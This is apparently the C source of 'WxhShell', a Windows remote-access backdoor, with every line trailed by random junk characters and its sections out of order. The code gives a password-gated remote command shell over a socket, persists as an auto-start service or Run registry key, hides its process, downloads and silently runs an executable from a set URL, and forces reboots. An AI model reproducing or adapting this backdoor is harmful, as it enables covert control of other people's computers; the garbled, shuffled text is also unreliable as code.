    if(Boot(SHUTDOWN)) dt&Lwf/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l(\8c><m  
    else { =2]rA  
    closesocket(wsh); VQjFEJ  
    ExitThread(0); L$c%u  
    } )Q/`o,Vm  
    break; EiP&Y,vT  
    } (A fbS=[  
  // 获取shell '4lT*KN7\  
  case 's': { wf< `J/7u  
    CmdShell(wsh); yPG\ &Bo  
    closesocket(wsh); 3l(;Pt-yI  
    ExitThread(0); ,h.Jfo54,  
    break; yi-"hT`  
  } A<X :K nl  
  // 退出 j{Jc6U  
  case 'x': { ZfCr"aL  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^1yTL5#:Vw  
    CloseIt(wsh); <&EO=A  
    break; "|r^l  
    } s1 ^mk]  
  // 离开 !vVjZ  
  case 'q': { !2U7gVt"*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Mth`s{sATa  
    closesocket(wsh); @j2*.ee  
    WSACleanup(); HT=Am  
    exit(1); Yn]y d1  
    break; P| P fG=  
        } Iki+5  
  } xc<eU`-' b  
  } 1S]gD&V  
IH5} Az  
  // 提示信息 '7LJuMp$#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~EWfEHf*BJ  
} ],}afa!A  
  } wt=>{JM  
E(3+o\w  
  return; &G|jzXE  
} YEPG[W<kg  
5OW8G][  
// shell模块句柄 `NWgETf^#  
int CmdShell(SOCKET sock) IL2Gsj)M  
{ O-!fOdX8_k  
STARTUPINFO si; Nw>T $RzS  
ZeroMemory(&si,sizeof(si)); Nk7eiQ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H0b6ZA%n  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ivUsMhx>S,  
PROCESS_INFORMATION ProcessInfo; !0csNg!  
char cmdline[]="cmd"; R{xyme@"^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $aPHl  
  return 0; E<#4G9O<  
} ZR-s{2sl  
CBnouKc:  
// 自身启动模式 .Lr)~  
int StartFromService(void) G<^]0`"+)t  
{ :UDn^ (#  
typedef struct 0B$7S,2  
{ ~UJu @M  
  DWORD ExitStatus; <,4R2'  
  DWORD PebBaseAddress; vXM/nw|5  
  DWORD AffinityMask; fov=Yd!  
  DWORD BasePriority; +x9"#0|k;  
  ULONG UniqueProcessId; Q#ZD&RZ9.  
  ULONG InheritedFromUniqueProcessId; JfP\7  
}   PROCESS_BASIC_INFORMATION; @+\S!o3m  
8}?Y;>s\  
PROCNTQSIP NtQueryInformationProcess; )lDIzLp  
L^ #<HQ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,+f0cv4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; m~j\?mb{+  
~Ri u*<  
  HANDLE             hProcess; 01{r^ZT`RH  
  PROCESS_BASIC_INFORMATION pbi; ?y*+^E0  
_]D#)-uv}C  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;4/dk_~p]  
  if(NULL == hInst ) return 0; D"x$^6`c}  
F@K*T2uh  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); q ~Q)'*m  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,JQxs7@2k  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @X|i@{<';  
igj={==m  
  if (!NtQueryInformationProcess) return 0; @ Zgl>  
3gI[]4lRH  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Z?~d']XD  
  if(!hProcess) return 0; e:GgA  
Id.Z[owC`Y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; rxy{a  
O{B e )E~  
  CloseHandle(hProcess); csdOIF  
u $% D9Z^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); g",wkO|  
if(hProcess==NULL) return 0; d(DX(xg  
:<t{ =0G  
HMODULE hMod; C7jc6(> m  
char procName[255]; JwI`"$ > w  
unsigned long cbNeeded; ;la#Vf:]  
3u?`q%Y-e  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); y3KcM#[  
ra9cD"/J &  
  CloseHandle(hProcess); =##s;zj(%  
i (%tHa37  
if(strstr(procName,"services")) return 1; // 以服务启动 gaw4NZd)0  
hLyTUt~\L  
  return 0; // 注册表启动 L*UV  
} ~ gfA](N  
}l}yn@hYC  
// 主模块 pVV}1RDa  
int StartWxhshell(LPSTR lpCmdLine) vhYMWfbY  
{ `dgM|.w5=  
  SOCKET wsl; !O F?xW  
BOOL val=TRUE; ;Y@!:p- H  
  int port=0; >St. &#c  
  struct sockaddr_in door; f E.L  
s,$Z ("B  
  if(wscfg.ws_autoins) Install(); WG8iTVwx  
y7M:b Uh  
port=atoi(lpCmdLine); ?y>Y$-v/C  
@3 -,=x  
if(port<=0) port=wscfg.ws_port; a)_rka1(  
uEScAeQXsI  
  WSADATA data; 'n l RY5@2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7>'uj7r]=  
e' U"`)S  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   m1hW<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); u( 1J=h  
  door.sin_family = AF_INET; C@y}*XV[b  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); N>A{)_k3  
  door.sin_port = htons(port); '9*5-iO  
Q5p+W  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /lS+J(I  
closesocket(wsl); kfqpI  
return 1; e~+(7_2  
} f=:3!k,S  
wovmy{K  
  if(listen(wsl,2) == INVALID_SOCKET) { B]^>GH  
closesocket(wsl); T|o`a+?  
return 1; ocIt@#20 K  
} #cj\~T.,,  
  Wxhshell(wsl); .1.J5>/n  
  WSACleanup(); 9^ >M>f"  
:M22P`:  
return 0; fJ)N:q`  
fg9?3x Z  
} JJ/1daj  
,&.W6sW  
// 以NT服务方式启动 =ze FK_S!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %6NO0 F^  
{ . ]o3A8  
DWORD   status = 0; 2E`~ qn  
  DWORD   specificError = 0xfffffff; U,Z"G1^  
hWq. #e 6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; y4xT:G/M  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; gohAp  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]ZzoJ7lr  
  serviceStatus.dwWin32ExitCode     = 0; X5uS>V%/  
  serviceStatus.dwServiceSpecificExitCode = 0; ] vC=.&]  
  serviceStatus.dwCheckPoint       = 0; 1Yc%0L(  
  serviceStatus.dwWaitHint       = 0; hD nM+4D  
{8^Gs^c c  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `6a]|7|f  
  if (hServiceStatusHandle==0) return; lpl8h4d  
v!NB~"LQ  
status = GetLastError(); uP{; *E3?  
  if (status!=NO_ERROR) X}oj_zsy;^  
{ rQ9*J   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; )!'n&UxPo$  
    serviceStatus.dwCheckPoint       = 0; Dh2:2Rz=#7  
    serviceStatus.dwWaitHint       = 0; 2.[_t/T  
    serviceStatus.dwWin32ExitCode     = status; "| K f'/r  
    serviceStatus.dwServiceSpecificExitCode = specificError; s1X]RXX&j  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1s#yWQ   
    return; n,t6v5>88  
  } [096CK  
]>tq|R78  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;yF[2P ;  
  serviceStatus.dwCheckPoint       = 0; 0o=!j3RjH  
  serviceStatus.dwWaitHint       = 0; cu[!D}tVU  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5^)?mA  
} #v.L$7O  
\'n$&PFe  
// 处理NT服务事件,比如:启动、停止 JNh=fvO2i  
VOID WINAPI NTServiceHandler(DWORD fdwControl) K*_-5e  
{ QJx9I_  
switch(fdwControl) DdBxqkh  
{ n!GWqle  
case SERVICE_CONTROL_STOP: 8@E8!w&~  
  serviceStatus.dwWin32ExitCode = 0; *;<e '[Y7f  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +"'F Be  
  serviceStatus.dwCheckPoint   = 0; ]]>nbgGn#  
  serviceStatus.dwWaitHint     = 0; H76E+AY  
  { }<vvxi  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); CV'&4oq  
  } *"1~bPl  
  return; ; ;<J x.  
case SERVICE_CONTROL_PAUSE: l`SK*Bm~<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; sz'p3  
  break; |<sf:#YzY&  
case SERVICE_CONTROL_CONTINUE: K!GUv{fp  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Z[Wlyb0  
  break; |5W8Q|>%  
case SERVICE_CONTROL_INTERROGATE: ,{?wKXJ}L!  
  break; H{ZLk,  
}; L >SZgmV+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *5 e<\{!  
} }04Dg '  
S|HY+Z6n'  
// 标准应用程序主函数 Ba<ngG !  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) SU/G)&Mi  
{ Q~phGD3!~  
] bIt@GB  
// 获取操作系统版本 brntE:  
OsIsNt=GetOsVer(); ~%`EeJwT  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Zp`~}LV{  
My. dD'C  
  // 从命令行安装 C1 W>/?XC  
  if(strpbrk(lpCmdLine,"iI")) Install(); d7E7f  
djUihcqA`  
  // 下载执行文件 lqF>=15  
if(wscfg.ws_downexe) { ~L~]QN\3  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) u=%y  
  WinExec(wscfg.ws_filenam,SW_HIDE); o~= iy  
} s3seK6x'  
!Q!&CG5l  
if(!OsIsNt) { i<mevL  
// 如果时win9x,隐藏进程并且设置为注册表启动 3c b[RQf  
HideProc(); =nzFd-P  
StartWxhshell(lpCmdLine); %*6RzJO6  
} sc%dh?m7  
else {ih:FcI  
  if(StartFromService()) L_^`k4ct  
  // 以服务方式启动 cv= \g Z  
  StartServiceCtrlDispatcher(DispatchTable); EJ G2^DSS  
else /9pbnzn  
  // 普通方式启动 X<Z(]`i  
  StartWxhshell(lpCmdLine); _ \l HI  
zO%w_7 w  
return 0; QP:9%f>=  
} .:8[wI_f  
mH)OB?+lq  
GMBJjP&R]  
/jR8|sb  
=========================================== Wm(:P  
6+iK!&+=  
n'yl)HA~>`  
Je^Y&a~  
vevf[eO-  
4f!dY o4L  
" QWw"K$l  
;u,rtEMy;  
#include <stdio.h> _%%yV  
#include <string.h> FuuS"G,S  
#include <windows.h> %*jGim~s  
#include <winsock2.h> : W~f;k  
#include <winsvc.h> eES'}[W>  
#include <urlmon.h> as(*B-_n~  
>b>gr OX  
#pragma comment (lib, "Ws2_32.lib") UT4f (Xo  
#pragma comment (lib, "urlmon.lib") P{cos&X|  
1aq2aLx  
#define MAX_USER   100 // 最大客户端连接数 80}4/8  
#define BUF_SOCK   200 // sock buffer kbhX?; <`  
#define KEY_BUFF   255 // 输入 buffer VD/&%O8n  
Lyr2(^#:  
#define REBOOT     0   // 重启 G?<pBMy  
#define SHUTDOWN   1   // 关机 LJWTSf"f?  
_dr*`yXi  
#define DEF_PORT   5000 // 监听端口 yX'IZk#_L  
KaW~ERx5  
#define REG_LEN     16   // 注册表键长度 Rboof`pVt  
#define SVC_LEN     80   // NT服务名长度 $T),DUYO  
.b,~f  
// 从dll定义API jn$j^ 51`C  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); wWTQ6~Y%d  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); '0RRFO  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Ff<)4`J  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); B'p5M.6d#:  
ra:GzkIw  
// wxhshell配置信息 :CTL)ad2  
struct WSCFG { MtUY?O.P2  
  int ws_port;         // 监听端口 n+?-�  
  char ws_passstr[REG_LEN]; // 口令 :_Fxy5}  
  int ws_autoins;       // 安装标记, 1=yes 0=no j=W@P-  
  char ws_regname[REG_LEN]; // 注册表键名 C`0%C7  
  char ws_svcname[REG_LEN]; // 服务名 |{f~Ks%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 VjB*{,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4gOgWBv  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 | 3giZ{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no C2G  |?=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >S'>!w  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 z h%qS~8Yv  
%K zbO0  
}; x> \Bxa8  
rz.IoQo  
// default Wxhshell configuration 3]^'  
struct WSCFG wscfg={DEF_PORT, <Oa9oM},d  
    "xuhuanlingzhe", t8vc@of$c,  
    1, ;&kn"b}G;  
    "Wxhshell", iNJAZ6@+  
    "Wxhshell",  hgO?+x  
            "WxhShell Service", 6m+W#]^  
    "Wrsky Windows CmdShell Service", [))JX"a  
    "Please Input Your Password: ", _2OuskL  
  1, -!TcQzHUs  
  "http://www.wrsky.com/wxhshell.exe", t77'fm  
  "Wxhshell.exe" Ea]T>4  
    }; =/9<(Tt%m  
@.ZL7$|d  
// 消息定义模块 io2@}xZF  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; a5?A!k\2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; B {aU;{1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; W-XpJ\_  
char *msg_ws_ext="\n\rExit."; ffk4mhH  
char *msg_ws_end="\n\rQuit."; wyw<jH  
char *msg_ws_boot="\n\rReboot..."; >vVw!.fJ  
char *msg_ws_poff="\n\rShutdown..."; -:S IS`0s  
char *msg_ws_down="\n\rSave to "; El (/em  
8l23%iWxe  
char *msg_ws_err="\n\rErr!"; JZ=5Bpw  
char *msg_ws_ok="\n\rOK!"; {ma;G[!  
3dG4pl~  
char ExeFile[MAX_PATH]; %[ Zz0|A  
int nUser = 0; lzDdD3Ouc  
HANDLE handles[MAX_USER]; ]"sRS`0+  
int OsIsNt; v[&'k\  
,I`_F,  
SERVICE_STATUS       serviceStatus; tD-gc ''H  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _whF^g8  
|<(t}}X  
// 函数声明 XLb0 9;  
int Install(void); B 8{ uR  
int Uninstall(void); jczq `yW  
int DownloadFile(char *sURL, SOCKET wsh); sRq U]i8l  
int Boot(int flag); Pp*}R2  
void HideProc(void); ~@P)tl>  
int GetOsVer(void); j=ihbR^]Tl  
int Wxhshell(SOCKET wsl); Q2c*.Y  
void TalkWithClient(void *cs); N9]xJgTze  
int CmdShell(SOCKET sock); 4ht\&2&:  
int StartFromService(void); uyT/Xzo3  
int StartWxhshell(LPSTR lpCmdLine); f#P_xn&et  
x?L hq2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); V]c5 Z$Bd  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }V]eg,.BJ  
z-@ -O  
// 数据结构和表定义 J+Bdz6lt  
SERVICE_TABLE_ENTRY DispatchTable[] = IN^_BKQt  
{ V@Wcb$mgk  
{wscfg.ws_svcname, NTServiceMain}, uV~e|X "9s  
{NULL, NULL} :woa&(wN;1  
}; <Wy>^<`  
{?i)K X^  
// 自我安装 D{C:d\ e)$  
int Install(void) J^ ={}  
{ cy1jZ1)  
  char svExeFile[MAX_PATH]; doD>m?rig3  
  HKEY key; ><Uk*mwL  
  strcpy(svExeFile,ExeFile); T"!EK&  
l!IGc:  
// 如果是win9x系统,修改注册表设为自启动 ``9 GY  
if(!OsIsNt) { gX,9Gh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o.^y1mH'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2U9&l1P=  
  RegCloseKey(key); ` X}85  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <*Y'lV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~E*d G  
  RegCloseKey(key); z+3 9ee  
  return 0; R2LK.bTVn  
    } Y&~M7TYb  
  } s'L?;:)dyB  
} a+?~;.i~  
else { 'm O2t~n  
)( bxpW  
// 如果是NT以上系统,安装为系统服务 sX:lE^)-z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); XnXb&@Y  
if (schSCManager!=0) !Iq{ 5:  
{ &1GUi{I  
  SC_HANDLE schService = CreateService |(ocDmd  
  ( Z;b+>2oL  
  schSCManager, & iSD/W  
  wscfg.ws_svcname, Nn#u%xvJt  
  wscfg.ws_svcdisp, 9#rt:&xo0  
  SERVICE_ALL_ACCESS, Z@J.1SaB  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , l2&hBacT  
  SERVICE_AUTO_START, &qRJceT(  
  SERVICE_ERROR_NORMAL, ~m`!;rE  
  svExeFile, V8"Wpl9Cz  
  NULL, 0YS?=oi  
  NULL, QIV%6q+*R  
  NULL, h^M^7S  
  NULL, *^h_z;{,  
  NULL )}-$A-p#  
  ); Q%5F ]`VN  
  if (schService!=0) k^%_V|&W/(  
  { j>'B [  
  CloseServiceHandle(schService); Z nXejpj)D  
  CloseServiceHandle(schSCManager); N[k<@Q?*a  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); vv/J 5#^,\  
  strcat(svExeFile,wscfg.ws_svcname); K t `  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4P kfUMX  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Z$;"8XUM  
  RegCloseKey(key); F~_;o+e;X  
  return 0; &KqVN]1+^  
    } ^M|K;jt>  
  } oJY[{-qW  
  CloseServiceHandle(schSCManager); #@Y/{[s|@  
} 2k1aX~?  
} QnKC#   
_Bk U+=|J  
return 1; )saR0{e0N  
} Q$=*aUU%G  
}<[Db}?9  
// 自我卸载 +LzovC@^  
int Uninstall(void) `6Hf&u<  
{ \*"`L3  
  HKEY key; km\%BD~  
=B(mIx;m  
if(!OsIsNt) { G6O/(8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8/Rm!.8+~  
  RegDeleteValue(key,wscfg.ws_regname);  c8DZJSO  
  RegCloseKey(key); `ROEV~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Dip*}8$o(w  
  RegDeleteValue(key,wscfg.ws_regname); $a.u05  
  RegCloseKey(key); .3wY\W8Dr-  
  return 0; o3h-=t  
  } kx{!b3"  
} q)iTn)Z!  
} X?df cS*!n  
else { |}S1o0v{(a  
Z> 74.r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); p`>d7S>"  
if (schSCManager!=0) QN G&  
{ *fhX*e8y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _t-7$d"  
  if (schService!=0) f a5]a  
  { OFy,B-`A{  
  if(DeleteService(schService)!=0) { +1@AGJU3  
  CloseServiceHandle(schService); =A n`D  
  CloseServiceHandle(schSCManager); NWKi ()nA%  
  return 0; :ba/W&-d  
  } '_o@V O  
  CloseServiceHandle(schService); ^:DyT@hQB5  
  } K{L.ZH>7  
  CloseServiceHandle(schSCManager); Z?1OdoT-  
} "# S>I8d  
} e@jfIF0=}  
_D-Riu>#J  
return 1; m6U8)!)T  
} frH)_YJ%  
:p-Y7CSSu  
// 从指定url下载文件 Y4To@TrN#\  
int DownloadFile(char *sURL, SOCKET wsh) IZ~.{UQ  
{ <lo`q<q  
  HRESULT hr; GqUSVQ  
char seps[]= "/"; )%mAZk-*;^  
char *token; 3{3/: 7  
char *file; ` clB43 i  
char myURL[MAX_PATH]; gX*K&*q   
char myFILE[MAX_PATH]; gaeOgP.0  
J}@GKNm  
strcpy(myURL,sURL); % h+uD^^$  
  token=strtok(myURL,seps); +X^4; &  
  while(token!=NULL) MY F#A  
  { LK+felL  
    file=token; _A-V@%3  
  token=strtok(NULL,seps); 6%?A>  
  } {tt$w>X  
~ hm`uP  
GetCurrentDirectory(MAX_PATH,myFILE); sv=H~wce  
strcat(myFILE, "\\"); K^H>~`C=  
strcat(myFILE, file); Z[} $n-V  
  send(wsh,myFILE,strlen(myFILE),0); "$8w.C  
send(wsh,"...",3,0); &;v!oe   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;BI)n]L  
  if(hr==S_OK) YzV(nEW  
return 0; B||c(ue  
else (6k>FSpg  
return 1; \_ -DyD#3  
p@tp]u`7  
} re uYTH  
~zyQ('  
// 系统电源模块 RWikJ   
int Boot(int flag) `d*b]2  
{ ,!>fmU`E4  
  HANDLE hToken; :6u~aT/  
  TOKEN_PRIVILEGES tkp; }ywi"k4>  
%F5 =n"  
  if(OsIsNt) { ,so4Lb(vG  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !}q."%%J_%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); rzV"Dm$'  
    tkp.PrivilegeCount = 1; 7bT /KLU  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; xF8 :^'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /=ylQn3 *  
if(flag==REBOOT) { (C`@a/q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) RVP18ub.S  
  return 0; z!CD6W1n  
} d_T<5Hin  
else { e?<D F.Md+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) B] i:)   
  return 0; M(5D'4.  
} /{we;Ut=g  
  } Z| L2oc e  
  else { ,?y7 ,nb  
if(flag==REBOOT) { HRHrSf7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) D rTM$)  
  return 0; c[{UI  
} a: IwA9!L  
else { ,n5a])Dg  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) h,]+>`b  
  return 0; xjrlc9  
} A& =pw#  
} stXda@y<p  
o<J5!  
return 1; [ &daG:  
} \`gEu{  
iGa}3pF  
// win9x进程隐藏模块 s3< F  
void HideProc(void) .. UoyBV  
{ <[9?Rj@  
]xrD<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); " $=qGHA~  
  if ( hKernel != NULL ) (}0S1)7t  
  { cY~M4:vgT  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4\1;A`2%0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); YFqZe6g0$  
    FreeLibrary(hKernel); :gaETr  
  } o^PuhVu  
Nt,~b^9  
return; {F!v+W>  
} u _X} -U  
^j iE9k)  
// 获取操作系统版本 8t\}c6/3"  
int GetOsVer(void) Ky6+~>  
{ 6eo4#/+%  
  OSVERSIONINFO winfo; /.v_N%*-v  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4d-q!lRpa  
  GetVersionEx(&winfo); YkI9d&ib+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) DZP*x  
  return 1; 1RA }aX  
  else <Wf0QO,  
  return 0; )JX$/- RD-  
} G"C;A`6  
;NG1{]|Z  
// 客户端句柄模块 Gl;f#}  
int Wxhshell(SOCKET wsl) xFX&9^Uk  
{ ['t8C  
  SOCKET wsh; 6KB^w0oA  
  struct sockaddr_in client; [Q:f-<nH  
  DWORD myID; to51hjV  
u GIr&`S  
  while(nUser<MAX_USER) ol#yjrv  
{ 4Pf+]R  
  int nSize=sizeof(client); "ZqEP R)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); idz9YpW  
  if(wsh==INVALID_SOCKET) return 1; QQq/5r4O`q  
.5z&CJDiIi  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); i*z0Jf["  
if(handles[nUser]==0) 8~qlLa>jc  
  closesocket(wsh); ^k;mn-0  
else 1b+h>.gWar  
  nUser++; m2ox8(sd  
  } p2^)2v  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); j%u8=  
E@mkm  
  return 0; HT-PWk>2  
} 8? F 2jv  
nqeVV&b!  
// 关闭 socket 6Wb!J>93  
void CloseIt(SOCKET wsh) _[%n ~6  
{ nUqL\(UuY  
closesocket(wsh); ]Y=S  
nUser--; <b'1#Pd>0  
ExitThread(0); :ovt?q8">  
} Kk>DYHZ6y  
sy=dY@W^  
// 客户端请求句柄 U\?+s2I)v  
void TalkWithClient(void *cs) ,0,Oe=d  
{ ?#i|>MRR>  
jf8w7T  
  SOCKET wsh=(SOCKET)cs; g<a<{|  
  char pwd[SVC_LEN]; j^{b^!4~}  
  char cmd[KEY_BUFF]; 01o [!nT  
char chr[1]; %VS 2M #f  
int i,j; c l9$g7  
PMY~^S4O  
  while (nUser < MAX_USER) { jVs(x  
X]MTaD.t  
if(wscfg.ws_passstr) { FF jRf  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p$XnOh  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); St_S l:m$  
  //ZeroMemory(pwd,KEY_BUFF); 1[px`%DR~  
      i=0; >-eS&rma  
  while(i<SVC_LEN) { S NN#$8\  
'?b\F~$8  
  // 设置超时 N-xnenci  
  fd_set FdRead; eZ A6D\  
  struct timeval TimeOut; Gj*SPU  
  FD_ZERO(&FdRead); gz#+  
  FD_SET(wsh,&FdRead); oLd:3,p}  
  TimeOut.tv_sec=8; xmOM<0T  
  TimeOut.tv_usec=0; C&e8a9*,(a  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \UhGGg%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); sc9]sIb  
OFp#<o,p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :|Upx4]Ec  
  pwd=chr[0]; 4':MI|/my_  
  if(chr[0]==0xd || chr[0]==0xa) { DgVyy&7>  
  pwd=0; k}#@8n|b  
  break; N7a[B>+`  
  } 51z/  
  i++; 3#B@83C0Z  
    } k 5t{  
'Z y{mq\  
  // 如果是非法用户,关闭 socket ~RAzFLt6x  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $Q=$?>4U  
} :ET x*c  
8pd&3G+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); k~& o  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @::lJDGVv  
/8:gVXZi  
while(1) { ~6] )*y  
(&k') ff9K  
  ZeroMemory(cmd,KEY_BUFF); .a5X*M]  
s* @QT8%  
      // 自动支持客户端 telnet标准   ?,!uA)({n  
  j=0; 4_WH 6Z  
  while(j<KEY_BUFF) { v [dAywW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _@7(g(pY 3  
  cmd[j]=chr[0]; { qjUI  
  if(chr[0]==0xa || chr[0]==0xd) { r.?qEe8VV  
  cmd[j]=0;  GsI[N%  
  break; . c#90RP  
  } Oxpo6G  
  j++; 58 kv#;j  
    } 7(H ?k  
y)0gJP L^  
  // 下载文件 <. ezw4ju  
  if(strstr(cmd,"http://")) { r!CA2iK`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $tEdBnf^ca  
  if(DownloadFile(cmd,wsh)) HhzkMJR8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); r}Ltv?4  
  else * q+oeAYX  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ct-rD79l  
  } Q=^ktKMeR  
  else { ' l|41wxk  
_xa}B,H  
    switch(cmd[0]) { 2-QuT"Gkd  
  {_rZRyr  
  // 帮助 'W}~)+zK  
